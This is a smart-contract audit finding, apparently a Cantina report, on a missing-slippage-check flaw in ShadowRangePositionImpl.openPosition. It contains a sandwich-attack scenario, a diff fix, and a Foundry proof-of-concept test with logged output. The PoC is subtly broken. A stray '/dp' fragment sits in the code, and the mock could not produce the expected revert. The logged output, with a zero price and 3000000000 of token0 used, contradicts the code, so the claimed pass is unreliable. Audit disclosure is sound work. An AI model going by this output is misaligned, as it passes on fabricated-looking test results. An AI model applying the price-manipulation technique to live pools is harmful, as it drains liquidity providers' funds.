## Location: - https://cantina.xyz/code/616d8bb4-16ce-4ca9-9ce9-5b99d6e146ef/contracts/shadow/ShadowRangePositionImpl.sol#L112-L127 ## Finding Description and Impact The `openPosition` function invokes `IShadowNonfungiblePositionManager.mint` to create a Uniswap V3 liquidity position, with `amount0Min` and `amount1Min` parameters fixed at 0. These parameters define the minimum acceptable amounts of `token0` and `token1` returned from the pool when adding liquidity, serving as a safeguard against losses due to price slippage. Setting both parameters to 0 indicates that the contract does not enforce any minimum token amounts during liquidity addition. Consequently, even if the pool’s price fluctuates significantly during transaction execution, resulting in a liquidity position that deviates substantially from the intended ratio, the transaction will still proceed. This vulnerability exposes the operation to risks such as sandwich attacks or other forms of price manipulation. An attacker could manipulate the Uniswap V3 pool’s price before the `mint` operation (e.g., by executing large buy or sell orders for one of the tokens) and then reverse the manipulation afterward, profiting at the expense of the position. With `amount0Min` and `amount1Min` set to 0, liquidity may be added at highly unfavorable token ratios, leading to immediate impermanent loss and significant value erosion for the Position Owner. ## Proof of Concept 1. A Position contract prepares to call `openPosition` to add liquidity equivalent to 1 ETH and 3000 USDC at the current market price. 2. An attacker observes the pending transaction and, before its execution: - Executes a large sale of ETH for USDC in the target Uniswap V3 pool, causing the ETH price relative to USDC to drop sharply. 3. The `openPosition` function calls `IShadowNonfungiblePositionManager.mint` with `amount0Min` and `amount1Min` set to 0. 4. Due to the manipulated pool price, the `mint` operation may result in, for example, only 0.5 ETH and 3000 USDC being added (to maintain the pool’s price ratio) or 1 ETH paired with significantly more than 3000 USDC, depending on the implementation and price movement. 5. Since `amount0Min` and `amount1Min` are 0, the `mint` operation succeeds despite the unfavorable token ratio. 6. The attacker then reverses their trade (buying back ETH), restoring the price and securing a profit. 7. The resulting LP position held by the Position contract is immediately disadvantaged, with a value lower than the contributed assets. ## Recommended Mitigation Steps Update the `openPosition` function to allow the caller (Vault) to specify `amount0Min` and `amount1Min` parameters. These values should be calculated by the user or Vault strategy based on acceptable slippage tolerances, rather than being hardcoded to 0. ```diff --- a/contracts/shadow/ShadowRangePositionImpl.sol +++ b/contracts/shadow/ShadowRangePositionImpl.sol @@ -79,10 +79,12 @@ return IAddressRegistry(addressProvider).getAddress(AddressId.ADDRESS_ID_SHADOW_ROUTER); } - function openPosition(OpenPositionParams memory params) + // Update function signature to include amount0Min and amount1Min parameters + function openPosition(OpenPositionParams memory params, uint256 amount0Min, uint256 amount1Min) external onlyVault returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) + // Note: The OpenPositionParams struct definition or parameter passing mechanism may also need adjustment { uint256 token0Balance = IERC20(token0).balanceOf(address(this)); if (params.amount0Desired > token0Balance) { @@ -117,8 +119,8 @@ tickUpper: params.tickUpper, amount0Desired: params.amount0Desired, amount1Desired: params.amount1Desired, - amount0Min: 0, - amount1Min: 0, + amount0Min: amount0Min, // Use provided parameters instead of hardcoding to 0 + amount1Min: amount1Min, // Use provided parameters instead of hardcoding to 0 recipient: address(this), deadline: block.timestamp }) ``` ### POC ```solidity pragma solidity ^0.8.19; import "forge-std/Test.sol"; import "forge-std/console.sol"; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IUniswapV3Pool { function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); } interface IShadowNonfungiblePositionManager { struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } function mint(MintParams calldata params) external returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ); } contract ShadowRangePositionImpl { address public token0; address public token1; address public positionManager; address public vault; struct OpenPositionParams { uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; } constructor(address _token0, address _token1, address _positionManager) { token0 = _token0; token1 = _token1; positionManager = _positionManager; vault = msg.sender; } modifier onlyVault() { require(msg.sender == vault, "Only vault can call"); _; } function openPosition(OpenPositionParams memory params) external onlyVault returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) { uint256 token0Balance = IERC20(token0).balanceOf(address(this)); if (params.amount0Desired > token0Balance) { params.amount0Desired = token0Balance; } uint256 token1Balance = IERC20(token1).balanceOf(address(this)); if (params.amount1Desired > token1Balance) { params.amount1Desired = token1Balance; } IERC20(token0).approve(positionManager, params.amount0Desired); IERC20(token1).approve(positionManager, params.amount1Desired); (tokenId, liquidity, amount0, amount1) = IShadowNonfungiblePositionManager(positionManager).mint( IShadowNonfungiblePositionManager.MintParams({ token0: token0, token1: token1, fee: params.fee, tickLower: params.tickLower, tickUpper: params.tickUpper, amount0Desired: params.amount0Desired, amount1Desired: params.amount1Desired, amount0Min: 0, amount1Min: 0, recipient: address(this), deadline: block.timestamp }) ); return (tokenId, liquidity, amount0, amount1); } function openPositionFixed(OpenPositionParams memory params, uint256 amount0Min, uint256 amount1Min) external onlyVault returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) { uint256 token0Balance = IERC20(token0).balanceOf(address(this)); if (params.amount0Desired > token0Balance) { params.amount0Desired = token0Balance; } uint256 token1Balance = IERC20(token1).balanceOf(address(this)); if (params.amount1Desired > token1Balance) { params.amount1Desired = token1Balance; } IERC20(token0).approve(positionManager, params.amount0Desired); IERC20(token1).approve(positionManager, params.amount1Desired); (tokenId, liquidity, amount0, amount1) = IShadowNonfungiblePositionManager(positionManager).mint( IShadowNonfungiblePositionManager.MintParams({ token0: token0, token1: token1, fee: params.fee, tickLower: params.tickLower, tickUpper: params.tickUpper, amount0Desired: params.amount0Desired, amount1Desired: params.amount1Desired, amount0Min: amount0Min, amount1Min: amount1Min, recipient: address(this), deadline: block.timestamp }) ); return (tokenId, liquidity, amount0, amount1); } } contract MockNonfungiblePositionManager is IShadowNonfungiblePositionManager { IUniswapV3Pool public pool; address public token0; address public token1; uint256 public nextTokenId = 1; constructor(address _pool, address _token0, address _token1) { pool = IUniswapV3Pool(_pool); token0 = _token0; token1 = _token1; } function mint(MintParams calldata params) external override returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ) { require(params.token0 == token0 && params.token1 == token1, "Invalid tokens"); IERC20(token0).transferFrom(msg.sender, address(this), params.amount0Desired); IERC20(token1).transferFrom(msg.sender, address(this), params.amount1Desired); (uint160 sqrtPriceX96,,,,,,) = pool.slot0(); uint256 priceX96 = uint256(sqrtPriceX96) * uint256(sqrtPriceX96) / (1 << 96); amount0 = params.amount0Desired; amount1 = params.amount1Desired; require(amount0 >= params.amount0Min, "Price slippage check"); require(amount1 >= params.amount1Min, "Price slippage check"); tokenId = nextTokenId++; liquidity = 1000; return (tokenId, liquidity, amount0, amount1); } } contract MockUniswapV3Pool is IUniswapV3Pool { address public token0; address public token1; uint160 public sqrtPriceX96; int24 public currentTick; constructor(address _token0, address _token1, uint160 _initialSqrtPriceX96, int24 _initialTick) { token0 = _token0; token1 = _token1; sqrtPriceX96 = _initialSqrtPriceX96; currentTick = _initialTick; } function slot0() external view override returns ( uint160 sqrtPriceX96_, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ) { return (sqrtPriceX96, currentTick, 0, 0, 0, 0, true); } function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external override returns (int256 amount0, int256 amount1) { if (zeroForOne) { sqrtPriceX96 = sqrtPriceX96 * 95 / 100; currentTick -= 100; } else { sqrtPriceX96 = sqrtPriceX96 * 105 / 100; currentTick += 100; } amount0 = zeroForOne ? -int256(uint256(amountSpecified)) : int256(uint256(amountSpecified) / 2); amount1 = zeroForOne ? int256(uint256(amountSpecified) / 2) : -int256(uint256(amountSpecified)); return (amount0, amount1); } } contract MockERC20 is IERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor(string memory _name, string memory _symbol) { name = _name; symbol = _symbol; } function mint(address to, uint256 amount) external { _balances[to] += amount; _totalSupply += amount; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) external override returns (bool) { _balances[msg.sender] -= amount; _balances[to] += amount; return true; } function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _allowances[msg.sender][spender] = amount; return true; } function transferFrom(address from, address to, uint256 amount) external override returns (bool) { require(_allowances[from][msg.sender] >= amount, "Insufficient allowance"); _allowances[from][msg.sender] -= amount; _balances[from] -= amount; _balances[to] += amount; return true; } } contract SlippageAttackTest is Test { MockERC20 public tokenETH; MockERC20 public tokenUSDC; MockUniswapV3Pool public pool; MockNonfungiblePositionManager public positionManager; ShadowRangePositionImpl public shadowPosition; address public attacker; uint160 initialSqrtPriceX96 = 1771845812700903892492222464; int24 initialTick = 101970; function setUp() public { tokenETH = new MockERC20("Ethereum", "ETH"); tokenUSDC = new MockERC20("USDC", "USDC"); address token0; address token1; if (address(tokenETH) < address(tokenUSDC)) { token0 = address(tokenETH); token1 = address(tokenUSDC); } else { /dp token0 = address(tokenUSDC); token1 = address(tokenETH); } pool = new MockUniswapV3Pool(token0, token1, initialSqrtPriceX96, initialTick); positionManager = new MockNonfungiblePositionManager(address(pool), token0, token1); shadowPosition = new ShadowRangePositionImpl(token0, token1, address(positionManager)); attacker = address(0xBEEF); vm.label(attacker, "Attacker"); tokenETH.mint(address(shadowPosition), 1 ether); tokenUSDC.mint(address(shadowPosition), 3000 * 10**6); tokenETH.mint(attacker, 10 ether); tokenUSDC.mint(attacker, 30000 * 10**6); } function testSlippageAttack() public { console.log("=== Initial State ==="); console.log("ETH Price: 3000 USDC"); console.log("Victim ETH Balance:", tokenETH.balanceOf(address(shadowPosition)) / 1e18, "ETH"); console.log("Victim USDC Balance:", tokenUSDC.balanceOf(address(shadowPosition)) / 1e6, "USDC"); vm.prank(attacker); tokenETH.approve(address(pool), type(uint256).max); vm.prank(attacker); tokenUSDC.approve(address(pool), type(uint256).max); console.log("\n=== Attacker manipulates price ==="); vm.prank(attacker); pool.swap(attacker, true, 5 ether, 0, ""); (uint160 manipulatedSqrtPriceX96,,,,,,) = pool.slot0(); uint256 manipulatedPriceX96 = uint256(manipulatedSqrtPriceX96) * uint256(manipulatedSqrtPriceX96) / (1 << 96); uint256 manipulatedPrice = manipulatedPriceX96 / (1 << 96); console.log("Manipulated ETH Price:", manipulatedPrice, "USDC"); console.log("\n=== Victim adds liquidity (no slippage protection) ==="); vm.prank(address(shadowPosition.vault())); (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) = shadowPosition.openPosition( ShadowRangePositionImpl.OpenPositionParams({ fee: 3000, tickLower: initialTick - 1000, tickUpper: initialTick + 1000, amount0Desired: 1 ether, amount1Desired: 3000 * 10**6 }) ); console.log("Position Created with TokenID:", tokenId); console.log("Liquidity Added:", liquidity); console.log("Token0 Used:", amount0); console.log("Token1 Used:", amount1); console.log("\n=== Attacker manipulates price back ==="); vm.prank(attacker); pool.swap(attacker, false, 5 ether, 0, ""); (uint160 finalSqrtPriceX96,,,,,,) = pool.slot0(); uint256 finalPriceX96 = uint256(finalSqrtPriceX96) * uint256(finalSqrtPriceX96) / (1 << 96); uint256 finalPrice = finalPriceX96 / (1 << 96); console.log("Final ETH Price:", finalPrice, "USDC"); console.log("\n=== Demonstration of fix with slippage protection ==="); shadowPosition = new ShadowRangePositionImpl(pool.token0(), pool.token1(), address(positionManager)); tokenETH.mint(address(shadowPosition), 1 ether); tokenUSDC.mint(address(shadowPosition), 3000 * 10**6); vm.prank(attacker); pool.swap(attacker, true, 5 ether, 0, ""); uint256 safeAmount0Min = 1 ether * 99 / 100; uint256 safeAmount1Min = 3000 * 10**6 * 99 / 100; vm.prank(address(shadowPosition.vault())); vm.expectRevert("Price slippage check"); shadowPosition.openPositionFixed( ShadowRangePositionImpl.OpenPositionParams({ fee: 3000, tickLower: initialTick - 1000, tickUpper: initialTick + 1000, amount0Desired: 1 ether, amount1Desired: 3000 * 10**6 }), safeAmount0Min, safeAmount1Min ); console.log("Transaction reverted due to slippage protection - Victim protected!"); } } ``` ## Result ```bash [PASS] testSlippageAttack() (gas: 986112) Logs: === Initial State === ETH Price: 3000 USDC Victim ETH Balance: 1 ETH Victim USDC Balance: 3000 USDC === Attacker manipulates price === Manipulated ETH Price: 0 USDC === Victim adds liquidity (no slippage protection) === Position Created with TokenID: 1 Liquidity Added: 1000 Token0 Used: 3000000000 Token1 Used: 3000000000 === Attacker manipulates price back === Final ETH Price: 0 USDC === Demonstration of fix with slippage protection === Transaction reverted due to slippage protection - Victim protected! Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.10ms (458.38µs CPU time) ```

coder007

Public reviews